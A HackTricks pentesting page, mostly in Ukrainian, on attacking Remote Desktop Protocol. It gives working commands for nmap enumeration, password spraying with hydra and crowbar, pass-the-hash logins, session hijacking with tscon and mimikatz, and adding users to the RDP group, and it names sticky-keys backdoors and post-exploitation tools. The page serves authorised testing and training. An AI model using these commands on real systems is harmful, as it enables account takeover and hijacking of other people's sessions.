3389 - Pentesting RDP

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Розроблений компанією Microsoft, Remote Desktop Protocol (RDP) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта RDP, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера RDP. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично переношуючи його інтерфейс на локальний пристрій користувача.

Порт за замовчуванням: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Перерахування

Автоматичний

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).

Brute force

Будьте обережні, ви можете заблокувати облікові записи

Password Spraying

Будьте обережні, ви можете заблокувати облікові записи

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Підключення з відомими обліковими даними/хешем

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Перевірка відомих облікових даних на сервісах RDP

rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:

bash
rdp_check <domain>/<name>:<password>@<IP>

Атаки

Вкрадення сесій

З права SYSTEM ви можете отримати доступ до будь-якої відкритої RDP сесії будь-якого користувача без необхідності знати пароль власника.

Отримати відкриті сесії:

query user

Доступ до вибраної сесії

bash
tscon <ID> /dest:<SESSIONNAME>

Тепер ви будете всередині вибраної RDP-сесії і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.

Важливо: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який її використовував.

Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)

Mimikatz

Ви також можете використовувати mimikatz для цього:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Поєднуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.

Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Якщо хтось з іншого домену або з кращими привілеями увійде через RDP на ПК, де ви є адміністратором, ви можете впровадити свій маяк у його процес RDP-сесії і діяти як він:

RDP Sessions Abuse

Adding User to RDP group

bash
net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn - це фреймворк пост-експлуатації, створений на Powershell, призначений в основному для автоматизації атаки Shadow на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.

  • EvilRDP
  • Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
  • Контролюйте буфер обміну автоматизованим способом з командного рядка
  • Створіть SOCKS-проксі з клієнта, який каналує мережеве спілкування до цілі через RDP
  • Виконуйте довільні команди SHELL та PowerShell на цілі без завантаження файлів
  • Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів вимкнена на цілі

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks